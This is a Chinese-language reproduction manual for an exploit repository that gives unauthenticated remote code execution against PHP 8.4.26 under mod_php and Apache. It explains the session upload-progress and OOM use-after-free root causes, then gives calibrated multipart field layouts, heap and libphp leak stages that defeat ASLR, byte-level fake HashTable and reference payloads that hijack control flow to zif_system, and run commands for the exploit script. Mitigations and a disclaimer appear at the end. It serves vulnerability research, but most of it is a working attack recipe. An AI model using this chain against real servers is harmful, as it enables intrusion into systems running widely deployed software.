php2shell复现方法
php2shell-bypass-aslr-exp 漏洞分析与复现手册
本文档基于对仓库内全部源码的静态分析写成(
exploit.py、docker/、tools/、src/php-8.4.26.tar.gz中的 PHP 源码),不含任何动态运行结果。
仅供授权环境下的漏洞研究与学习使用。
1. TL;DR
这是 PHP 8.4.26(mod_php + Apache prefork)的未授权 RCE 完整复现工程。漏洞面是 session.upload_progress 在 RINIT 之前触发的 session 初始化,以及 memory_limit OOM bailout 后跨请求残留的悬空 PS(id) / PS(send_cookie) / PS(http_session_vars)。
利用链全部由普通 multipart HTTP 请求构成,目标页面只需要 <?php echo "OK\n"; ?>(无 session_start()、无需写任何目标侧 PHP)。三个阶段分别完成:
Set-Cookie堆越界读 → 拿到 Zend MM 2MB chunk 基址(绕过 ASLR 第一步);Set-Cookie越界读 → 拿到 libphp 基址(ZVAL_PTR_DTOR指针);- 伪造 reference + 伪造 HashTable(
pDestructor = zif_system)→ 命令执行,不需要 libc。
2. 项目结构
| 路径 | 作用 |
|---|---|
exploit.py | 一键 exp:worker 轮换 + 两阶段泄漏 + RCE,自动重试 |
docker/docker-compose.yml | 目标环境:官方 php:8.4.26-apache 镜像,端口 127.0.0.1:8088→80 |
docker/php.ini | 关键 PHP 配置(display_errors=On、memory_limit=8M 等) |
docker/apache.conf | 单 worker prefork(MaxRequestWorkers 1)、KeepAlive Off |
docker/offsets.py | 从容器内 libphp.so 的 ELF 符号表读 zif_system / zval_ptr_dtor 偏移 |
docker/www/index.php | 目标页面,仅 <?php echo "OK\n"; ?> |
tools/*.py | 手动复现用的单步请求脚本(约 250 个,含各阶段 A/B 请求的最终形状) |
tools/pure_aslr_run.sh | lab 环境的全链手动驱动脚本(等价于 exploit.py 的原始版本) |
src/php-8.4.26.tar.gz | 官方 PHP 8.4.26 源码(分析用) |
HTTP_HEAP_LEAK.md / ASLR_PURE_HTTP.md / NOTES.md 等 | 各阶段的机制、gdb 证据与校准记录 |
3. 漏洞原理(源码级分析)
3.1 漏洞面:RINIT 之前的 session 初始化
PHP 的 multipart 解析回调(ext/session/session.c)在请求脚本执行之前就会初始化 session,且只取决于 POST 字段,与页面内容无关:
MULTIPART_EVENT_FILE_START→php_session_rfc1867_update(progress, 0)→php_session_initialize()(session.c:3335 → 3175-3196,init 调用在 3196 行);MULTIPART_EVENT_END→php_session_rfc1867_cleanup(progress)→php_session_initialize()(session.c:3375 → 3209-3211)。
触发条件(session.c:3259 附近的 FORMDATA 分支):data->name && data->value && value_len,即请求里同时带:
PHPSESSID(值非空,内容可以是\x00——长度 1 但首字节为 0);PHP_SESSION_UPLOAD_PROGRESS(值非空,如pwn);- (
FILE_START路径)至少一个文件字段;或(END路径)不带文件字段。
两条路径都能在脚本执行前到达 php_session_initialize()。
3.2 根因一:OOM bailout 跨请求残留 ps_globals
php_session_initialize()(session.c:419):
if (!PS(id) || !ZSTR_VAL(PS(id))[0]) { // 443 行:空 id / 首字节为 0
...
PS(id) = PS(mod)->s_create_sid(&PS(mod_data)); // 448 行:生成 32 字符随机 id
if (PS(use_cookies)) {
PS(send_cookie) = 1; // 456-457 行
}
}
if (php_session_reset_id() == FAILURE) { // 475 行
php_session_abort();
return FAILURE; // 477 行:track_init 不执行,send_cookie 不清零
}
php_session_track_init(); // 481 行
PS(id)、PS(send_cookie)、PS(http_session_vars)都是ps_globals里的进程级全局(mod_php worker 进程常驻),不是每请求清零的。- 请求 A 用 12MB 的 multipart 普通字段(
memory_limit=8M)在请求解析阶段触发 OOM。zend_bailout长跳转绕过了请求 shutdown,php_rshutdown_session_globals()没有机会执行,上述全局全部悬空残留到下一个请求。
3.3 根因二:悬空 PS(id) → Set-Cookie 越界读(ASLR 泄漏原语)
下一个"只带 PHPSESSID + PHP_SESSION_UPLOAD_PROGRESS、不带文件字段"的请求(记为 B)会在 END cleanup 里重新走 php_session_initialize()。若残留的 PS(send_cookie)=1,php_session_reset_id()(session.c:1563-1569)会调用 php_session_send_cookie():
// session.c:1426
if (SG(headers_sent)) { ...警告...; return FAILURE; } // 1432 行
e_id = php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id))); // 1447 行 ← 越界读原语
PS(id) 指向的是 A 残留的已释放块。B 请求的 multipart 字段堆喷(zend_string / raw value buffer 按 Zend MM size-class bin 落点)可以精确重占这块内存,从而完全控制 len 和数据起始地址——php_url_encode 就按伪造的 len 越界读堆,并把结果 URL 编码后放进响应头 Set-Cookie: PHPSESSID=...。攻击者解码响应头即得到堆内容。
send_cookie=1 的残留来自 A 中 php_session_reset_id() 失败:display_errors=On 时,A 先发 1001 个字段触发 max_input_vars 警告(main/php_variables.c:555-557,警告输出使 SG(headers_sent)=1),随后 session 初始化新建 id 并置 send_cookie=1,reset_id 因 headers 已发送而失败返回,send_cookie 未被清零(session.c:1563-1568 的清零在成功路径上)。
3.4 根因三:悬空 PS(http_session_vars) → 跨请求 UAF → 控制流劫持
php_session_track_init()(session.c:236-252):
zend_delete_global_variable("_SESSION"); // 241 行
if (!Z_ISUNDEF(PS(http_session_vars))) {
zval_ptr_dtor(&PS(http_session_vars)); // 244 行 ← 对 A 残留的悬空引用析构
}
array_init(&session_vars);
ZVAL_NEW_REF(&PS(http_session_vars), &session_vars);
...
第 244 行对上一请求残留的 zend_reference(悬空指针)执行 zval_ptr_dtor。如果悬空引用所在块已被 B 的 multipart 字段重占成伪造数据,析构链就会沿伪造 zval 走到完全可控的函数指针:
php_session_track_init() // session.c:244
zval_ptr_dtor(PS(http_session_vars)) // refcount 1→0
zend_reference_destroy(R0)
zval_ptr_dtor(&ref->val) // ref->val.type = IS_ARRAY_EX (0x307)
zend_array_destroy(fake HashTable)
zend_hash_destroy(fake HT)
fake HT->pDestructor(&bucket->val) // ← 劫持点
= zif_system(execute_data=&bucket->val) // libphp 内部函数,命令执行
终端 gadget 选 zif_system(ext/standard/exec.c,libphp 导出符号)而不是 libc system,因此只需要 libphp 基址,不需要泄漏 libc。&bucket->val 被伪装成 zend_execute_data(num_args=1,arg1 指向内容为命令的伪造 zend_string)。
3.5 为什么能绕过 ASLR
- 两条泄漏都基于 chunk/模块内相对偏移:stage 1 解出 Zend MM 2MB chunk 基址(堆内指针
ptr & ~0x1FFFFF的众数);stage 2 解出 libphp 基址(pDestructor - DTOR_OFFSET)。地址随机化只影响基址本身,chunk 内/模块内的相对布局是稳定的。 - prefork 单 worker + HTTP 触发轮换:A_bigfields(约 3MB 存活 POST 字符串 + 12MB OOM)把堆状态弄坏,紧跟一个会初始化 session 的 B 请求,
zend_mm_panic/abort()使 child 以 SIGABRT 退出,prefork 立即 fork 新 child。同一 master fork 出的 child 继承相同的 libphp/chunk 映射,所以泄漏结果跨 worker 有效;每个阶段都能在"fresh worker"上重放已校准的请求形状。 - 所有 chunk 内偏移(悬空块落点、fake HashTable 字符串落点)由字段数量/长度/边界长度标定,请求形状固定后可稳定复现。
4. 复现环境
依赖:Docker Engine/Desktop + Compose v2 + Python 3.9+。仓库不编译 PHP,直接用官方镜像加配置挂载。
cd php2shell-bypass-aslr-exp-main
docker compose -f docker/docker-compose.yml up -d # 拉取 php:8.4.26-apache 并启动
curl -s http://127.0.0.1:8088/index.php # 就绪后输出 "OK"
关键配置(docker/php.ini / docker/apache.conf):
| 配置 | 值 | 在链中的作用 |
|---|---|---|
display_errors | On | max_input_vars 警告输出 → SG(headers_sent)=1(send_cookie 残留的前提) |
memory_limit | 8M | 12MB 字段必然 OOM → bailout 残留 ps_globals;worker 轮换也依赖它 |
post_max_size / upload_max_filesize | 64M | 允许大 multipart 请求体 |
session.use_strict_mode | 0 | 允许客户端指定任意 PHPSESSID |
session.use_cookies | 1 | Set-Cookie 泄漏通道 |
session.upload_progress.enabled | On | pre-RINIT session 初始化入口 |
max_input_vars | 1000(默认) | A 请求 1001 个字段触发警告 |
| prefork | MaxRequestWorkers 1 | 单 worker:请求 A/B 落在同一进程的同一堆上 |
out/ 目录挂载为容器 /out(www-data 可写),proof 文件直接落在本机。
5. 漏洞复现方法(一键自动化)
# 1) 起目标
docker compose -f docker/docker-compose.yml up -d
# 2) 一条命令完成 worker 轮换 + 两阶段泄漏 + zif_system 执行
python3 exploit.py -u http://127.0.0.1:8088/index.php
# 预期输出:
# [*] no offsets file; reading libphp symbols from container php2shell-target
# zif_system 0x465370
# zval_ptr_dtor 0x65eb60
# [+] chunk base = 0x...
# [+] libphp base = 0x...
# [*] stage 3: HTDATA=0x... ZIF=0x...
# PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
说明:
- 首次运行会自动执行
docker/offsets.py:docker cp把容器内/usr/lib/apache2/modules/libphp.so拷出、解析 ELF 符号表、把ZIF_OFFSET/DTOR_OFFSET写入out/offsets.env(仅当目标是 localhost 且无 offsets 文件时;--no-auto-offsets关闭,--docker-container指定容器名,--zif-offset/--dtor-offset手动指定)。 - 默认命令
id>/out/p1(10 字节);命令受 167B 载体限制最多 14 字节。任意长命令先写脚本到挂载目录再 8 字节触发:
printf 'id; uname -a > /out/p1\n' > out/c
python3 exploit.py -u http://127.0.0.1:8088/index.php -c 'sh</out/c'
- 常用参数:
--profile lab(自编译 lab 构建,默认bookworm对应官方镜像)、--cmd、--proof-file(''禁用本地读 proof)、--fetch(改为 GET 某路径读取结果)、--huge-mb(OOM 字段大小,须大于memory_limit)、--retries、--no-pre-rotate。 - 验证:
cat out/p1;容器docker logs php2shell-target里可见child pid ... exit signal Abort (6)(轮换生效的证据)。 - 官方镜像实测 3/3 成功;每阶段内置重试(
--retries,stage 3 为 retries+2)。
6. 手动复现方法
整条链 = 4 组 multipart POST(轮换、stage1、stage2、stage3,每组是一个 A 请求 + 一个 B 请求)。下面先给出请求语义与字段规格(对照 exploit.py 的参考实现行号),再给出可直接执行的 lab 工具命令序列。
6.1 手动流程总览
| 阶段 | 请求 A(布置) | 请求 B(收割) | 产出 |
|---|---|---|---|
| 0 轮换 | 1001×3000B 存活字段 + \0 sid + 文件 + 12MB OOM | 仅 sid+PROGRESS(无文件)→ SIGABRT | fresh worker(映射不变) |
| 1 堆泄漏 | 1001×1B 字段 + \0 sid + 文件 + 12MB OOM | 841/892 个 48B 值 + 1 个 79B forge 字段 | Set-Cookie 4096B 越界读 → chunk base |
| 2 libphp 泄漏 | 1001×39B 字段 + \0 sid + 文件 + 12MB OOM | 983 个嵌套数组(目标数组 16 元素) | Set-Cookie 16B → ZVAL_PTR_DTOR → libphp base |
| 3 RCE | sid+PROGRESS+pad×6+文件+12MB OOM | 15×167B fake HT + fake ref/carrier | zif_system 执行命令 |
参考实现(exploit.py):rotate() L281、stage1() L304、stage2() L333、stage3() L404、fake payload 构造 _fake_payload() L359;HTTP 收发 Target.post() L132(用原生 socket 边发边收:部分请求会在上传中途 SIGABRT/RST,requests/urllib 会直接抛错)。
multipart 编码规则(所有请求一致,build_multipart() L66):每个 part 用 --boundary\r\nContent-Disposition: form-data; name="..."\r\n\r\n<value>\r\n,结尾 --boundary--\r\n;文件 part 额外带 ; filename="a.txt" 与 Content-Type: application/octet-stream。字段顺序就是分配顺序,不能打乱。
6.2 阶段 0:HTTP worker 轮换
请求 A(boundary = 17 个 S)字段依次为:
f0000…f1000共 1001 个字段,值 3000 字节'V'(前 1000 个注册进$_POST,约 3MB 存活 zend_string);PHPSESSID,值 1 字节\x00;PHP_SESSION_UPLOAD_PROGRESS,值pwn;- 文件字段
f(a.txt,64 字节'A')——FILE_START 触发 session 初始化; big,值 12MB'B'——OOM bailout。
请求 B(boundary = BNDRY12345)只有:PHPSESSID=attacksessionid0001、PHP_SESSION_UPLOAD_PROGRESS=pwn,没有文件字段(这样才能走到 END cleanup 而不是被 php_rinit_session(0) 清掉 PS 全局)。等 0.5–0.8 秒让 prefork fork 新 worker。
6.3 阶段 1:Set-Cookie 堆泄漏(chunk base)
请求 A(boundary 17×S):与阶段 0 相同的收尾三件套(\x00 sid / PROGRESS / 文件 / 12MB OOM),但前 1001 个字段改为 1 字节值 'x'。响应体出现两条 Warning 即前置条件成立:
Warning: PHP Request Startup: Input variables exceeded 1000...
Warning: PHP Request Startup: Session cookie cannot be sent after headers have already been sent
请求 B(boundary 10×B):
PHPSESSID=attacksessionid0001、PROGRESS=pwn;- 841 个(bookworm)/ 892 个(lab)填充字段:数值键
1000…1840,值为唯一的 48 字符串(v%04d+'x'*44)——数值键影响 bucket 布局,48 字节值对应 80B bin 的存活字符串,按 free-list 顺序消耗旧块; - 最后 1 个 forge 字段
1999,值 79 字节:offset 0x10..0x17 = 0x1000(小端,伪造zend_string.len),offset 0x18 = 'L'(数据起始),其余'A'。79B 值的 raw buffer = 80B bin,恰好落进 A 残留的悬空PS(id)块(原块是 24+32+1=57 → 64B bin 的随机 id 字符串);字段处理完 raw buffer 被efree,Zend MM 只写块首 free-list 指针,0x10处的 len 保留。
之后 B 的 END cleanup → reset_id → php_url_encode(ZSTR_VAL(id), 0x1000):从 PS(id)+0x18 起读 4096 字节越界堆数据,全部 URL 编码进 Set-Cookie。
解析(chunk_base_from_cookie() L214,或 tools/decode_leak.py):
- 从响应头取
Set-Cookie: PHPSESSID=<...>; path=/,URL 解码(应 ≥1000 字节,实测 4096); - 在解码数据上按字节滑动取小端 qword,只保留
0x7f0000000000 ≤ v < 0x800000000000的候选; chunk = 众数(v & ~0x1FFFFF),出现次数 ≥8 才采信——2MB 对齐即 Zend MM chunk 基址。
6.4 阶段 2:Set-Cookie libphp 泄漏
请求 A(boundary 17×S):与阶段 1 的 A 相同,只是 1001 个字段的值改为 39 字节 'x'——不同的值长度改变分配序列,把悬空 PS(id) 推到 chunk+0xb7400,恰好对齐到一个 56B HashTable 页的 HT+0x10。
请求 B(boundary 10×B):
PHPSESSID=attacksessionid0001、PROGRESS=pwn;- 983 个嵌套数组字段
a0000[0]…a0982[j]:除目标数组(bookworma0406/ laba0443)有 16 个元素外,其余各 1 个元素;元素值 bookworm 用 16 字节('x'*16)、lab 用 1 字节('x'); - 字段总数 = 982 + 16 = 998,加 sid/PROGRESS 正好 1000 个 POST 变量——不能超,否则 B 自己触发
max_input_vars警告导致headers_sent=1,Set-Cookie发不出去。
原理:$_POST['a0406'] 的 56B HashTable 落在 chunk+0xb73f0,悬空 PS(id) = HT+0x10,于是:
ZSTR_LEN(PS(id)) = *(HT+0x20) = nTableSize(16) | nInternalPointer(0) = 16
PS(id)+0x18 = HT+0x28 = nNextFreeElement (0x10) → 8 字节
PS(id)+0x20 = HT+0x30 = pDestructor = ZVAL_PTR_DTOR → 8 字节
php_url_encode 按 len=16 读出这 16 字节放进 Set-Cookie(形如 %10%00%00%00...%xx..%7F%00%00)。
解析(libphp_base_from_cookie() L229):解码后取 bytes[8:16] 为小端 qword p;校验 p 在 0x7f 区间且 p & 0xFFF == DTOR_OFFSET & 0xFFF;libphp_base = p - DTOR_OFFSET(须 4KB 对齐。bookworm DTOR_OFFSET=0x65eb60、lab 0x613c50——用 python3 docker/offsets.py php2shell-target out/offsets.env 从容器里读真值)。
6.5 阶段 3:伪造 reference + zif_system → RCE
请求 A(boundary 17×S):
PHPSESSID = 'a'*19(合法 id,这次 session 初始化成功走到php_session_track_init(),$_SESSION引用真实建立)、PROGRESS='p'*3;- 6 个 pad 字段(bookworm:31 字符名 + 31 字节值 ×6;lab:
8:7+ 5 个7:7)——移动悬空 reference 落点到R0 = chunk+0x24e0; - 文件字段 + 12MB OOM → bailout,
PS(http_session_vars)悬空指向 R0; - bookworm 额外:请求头带
Cookie: PHPSESSID=+'a'*32,使 B 的 init 里有合法 id 可用、send_cookie=0——否则 B 的Set-Cookie大缓冲分配会落在R0+0x10,把 fake 引用的val.type踩掉。
请求 B(boundary 10×B):
PHPSESSID=attacksessionid0001、PROGRESS=pwn;- fake HashTable 载体:15 个字段(名
a{i:030d}取前 31 字符),值都是同一个 167 字节 payload(167+24+1=192 → 192B bin 存活字符串,其中一块落在HTDATA = chunk+0x690d8(bookworm)/chunk+0x6e0d8(lab)); - fake 引用(lab):2 个字段
f00/f01,值 55 字节 fake reference(55+1=56 → 56B raw buffer 落在R0-0x10);(bookworm):先 2 个字段f00/f01值 15×'F',再 1 个字段g00值 15 字节 carrier =pack("<II",1,0x1A) + pack("<Q",HTDATA)[:7]——15B 字符串+NUL 恰好 16 字节重写 R0 的 gc 头和val.value低 7 字节(高位保持 0x00 即规范指针),原有val.type=IS_ARRAY_EX不动。
167 字节 fake HashTable payload 布局(_fake_payload() L359 / tools/send_b_zif.py):
0x00 gc : refcount=1, type=IS_ARRAY(7)
0x08 flags / mask : 0x10 (STATIC_KEYS), 0xFFFFFFF8
0x10 arData : HTDATA + 0x20
0x18 nNumUsed/OfEl : 1, 1
0x20 nTableSize/IP : 8, 0 ← 同一位置兼作 fake execute_data E
0x28 nNextFreeElem : 0
0x30 pDestructor : ZIF = libphp + zif_system_offset ← 劫持点
E+0x10 return_value : ZIF(与 pDestructor 重叠)
E+0x2C num_args : 1
E+0x50 arg1 zval : { value = HTDATA+0x80, type = IS_STRING(6) }
0x80 fake zend_string : gc{1, 0x106}, h=0, len=len(cmd)
0x98 命令字符串 + '\0'(≤14 字节,如 id>/out/p1)
55 字节 fake reference(写在 R0-0x10 起,引用结构本体在 R0):
+0x10 gc : refcount=1, type=IS_REFERENCE(10)
+0x18 val.value = HTDATA
+0x20 val.type = 0x307 (IS_ARRAY_EX)
+0x28 sources : 0
B 的 END cleanup → php_session_track_init() → zval_ptr_dtor(PS(http_session_vars)) 沿第 3.4 节的链调用 zif_system(execute_data),命令以 www-data 身份执行。随后 worker 会在收尾 pefree 处崩溃(预期行为,proof 已写出)。
验证:bookworm/docker 目标看本机 out/p1(--proof-file 自动读)或 --fetch;lab 目标 cat /tmp/p1。预期 uid=33(www-data) gid=33(www-data) groups=33(www-data)。
6.6 lab 环境的原始手动命令序列(tools/*.py)
tools/ 下的脚本硬编码 127.0.0.1:8088 与 /index.php(sup_poc.py 支持 HOST/PORT/PATH_INFO 环境变量),标定对应 lab 构建(PHP 8.4.26 自编译 + Apache 2.4.68)。序列等价于 tools/pure_aslr_run.sh:
cd tools
# 轮换(开局先杀掉有未知历史的 worker)
python3 send_a_bigfields.py 1001 3000 12 17
python3 sup_poc.py b
sleep 1
# ---- 阶段 1:chunk base ----
python3 send_a_leak2.py 1001 12 # A:警告 + \0 sid + OOM
python3 b_numleak2.py 892 1 0x1000 # B:892 填充 + 79B forge;响应存 /tmp/b_numleak2.resp
python3 decode_leak.py /tmp/b_numleak2.resp # → decoded=4096, chunk_bases=<base>:98
# 轮换
python3 send_a_bigfields.py 1001 3000 12 17 && python3 sup_poc.py b
# ---- 阶段 2:libphp base ----
python3 send_a_leak3.py 1001 5 39 12 17 # A:39 字节值版本
python3 b_target.py 443 16 983 # B:a0443 扩 16 元素;响应存 /tmp/b_target.resp
python3 - <<'PY' # 解析 pDestructor → libphp base(lab dtor 偏移 0x613c50)
import urllib.parse, re
d = open('/tmp/b_target.resp','rb').read()
m = re.search(rb'Set-Cookie: PHPSESSID=([^\r\n]*?); path=/', d)
raw = urllib.parse.unquote_to_bytes(m.group(1).decode('latin1'))
p = int.from_bytes(raw[8:16],'little')
print(hex(p - 0x613c50)) # libphp base,p&0x1fffff 应 == 0x13c50
PY
# 轮换
python3 send_a_bigfields.py 1001 3000 12 17 && python3 sup_poc.py b
# ---- 阶段 3:zif_system RCE(lab 标定)----
python3 send_a_pad.py 17 19 3 12 8:7 7:7 7:7 7:7 7:7 7:7
python3 send_b_zif.py 15 2 0x<chunk+0x6e0d8> 0x<libphp+0x43a870> "id>/tmp/p1"
sleep 1
cat /tmp/p1
对官方 docker 镜像手动重放时,标定值不同(见下表),且
b_target.py(元素值固定 1 字节)与send_b_zif.py(55B ref 形状)没有参数化 bookworm 变体——此时最直接的手动方式是按 6.2–6.5 的字段规格手工构造请求,或参考exploit.py对应函数逐阶段重放。
6.7 两套 profile 的标定对照
| 项 | lab(自编译,--profile lab) | bookworm(官方镜像,默认) |
|---|---|---|
zif_system 偏移 | libphp+0x43a870 | libphp+0x465370(docker/offsets.py 自动读) |
ZVAL_PTR_DTOR 偏移 | libphp+0x613c50 | libphp+0x65eb60(同上) |
| stage1 填充字段数 | 892 | 841 |
| stage2 目标数组 | a0443 | a0406 |
| stage2 元素值长度 | 1 字节 | 16 字节 |
| stage3 fake HT 字符串落点 | chunk+0x6e0d8 | chunk+0x690d8 |
| stage3 A 的 pad | (8:7) + 5×(7:7) | 6×(31,31) + 请求头 Cookie: PHPSESSID=a×32 |
| stage3 B 的引用载体 | 55B fake ref ×2 | 2×15B 'F' + 1×15B carrier,15×167B fake HT 顺序在最后 |
6.8 历史线(需目标侧 PHP,仅作机制参考)
NOTES.md / NOASLR_REPORT.md 记录了更早的一条线:目标脚本调用 session_unset() 且存在会写 $_SESSION 的 __destruct,触发 zend_hash_clean 重入 → arData UAF → stream_bucket_new() 裸缓冲重占 → fake HashTable → system()。手动复现只需一问一答(部署 tools/d.php 后 curl http://target/d.php,看 /tmp/x),但它要求在目标 webroot 写特定 PHP,违反本工程"纯 HTTP"约束,仅用于理解同族缺陷(Defect D)。
7. 成功判据与故障定位
| 现象 | 含义 |
|---|---|
PROOF: uid=33(www-data)... | 全链成功 |
| stage1 A 响应含两条 Warning | 前置条件(headers_sent / send_cookie 残留)成立 |
| stage1 B 解码 cookie ≥1000 字节、出现 ≥8 个 2MB 对齐指针 | 堆泄漏成功 |
stage2 cookie 解码 16 字节、p&0xFFF == DTOR&0xFFF | libphp 泄漏成功 |
docker logs 出现 child pid ... exit signal Abort (6) | 轮换生效 |
| 某阶段失败 | exploit.py 会自动轮换 worker 重试;手动复现失败先重新做阶段 0 再重试该阶段 |
8. 前置条件与限制
- 版本/构建绑定:所有 chunk 内偏移、填充数、
zif_system/ZVAL_PTR_DTOR偏移绑定 PHP 8.4.26 + 具体镜像/工具链;换构建需用 gdb 或docker/offsets.py重新标定。 - 配置绑定:
display_errors=1(display_errors=0的 OOM-in-cookie 堆泄漏已打通、完整 RCE 未提交,见DISPLAY_ERRORS_OFF.md)、memory_limit=8M、max_input_vars=1000、session.use_cookies=1、session.use_strict_mode=0、session.upload_progress.enabled=1、单 worker prefork mod_php。php-fpm 不适用(跨请求 PS 残留依赖 mod_php 常驻 worker)。 - 命令上限 14 字节;长命令经
sh</out/c二段执行。 - RCE 后 worker 必然崩溃(伪造 HashTable 的收尾
pefree),proof 文件已写出即视为成功。 - 会话文件(
/tmp/sess_*)、proof 文件残留属预期,测试后清理。
9. 缓解思路(依据上述前置条件)
- 关闭
session.upload_progress(session.upload_progress.enabled=0)可消除 pre-RINIT session 初始化入口; session.use_strict_mode=1破坏对客户端可控 sid 的依赖;- mod_php 换 php-fpm、避免单 worker prefork,可消除跨请求堆残留这一核心原语;
- 上述均不修复根因,根因修复需等待/回移 PHP 官方补丁。
10. 免责声明
本项目及本文档仅用于授权环境中的漏洞研究与复现(CTF、自有实验环境、授权渗透测试)。请勿用于未授权目标。
exp仓库:https://github.com/360859569/php2shell-exp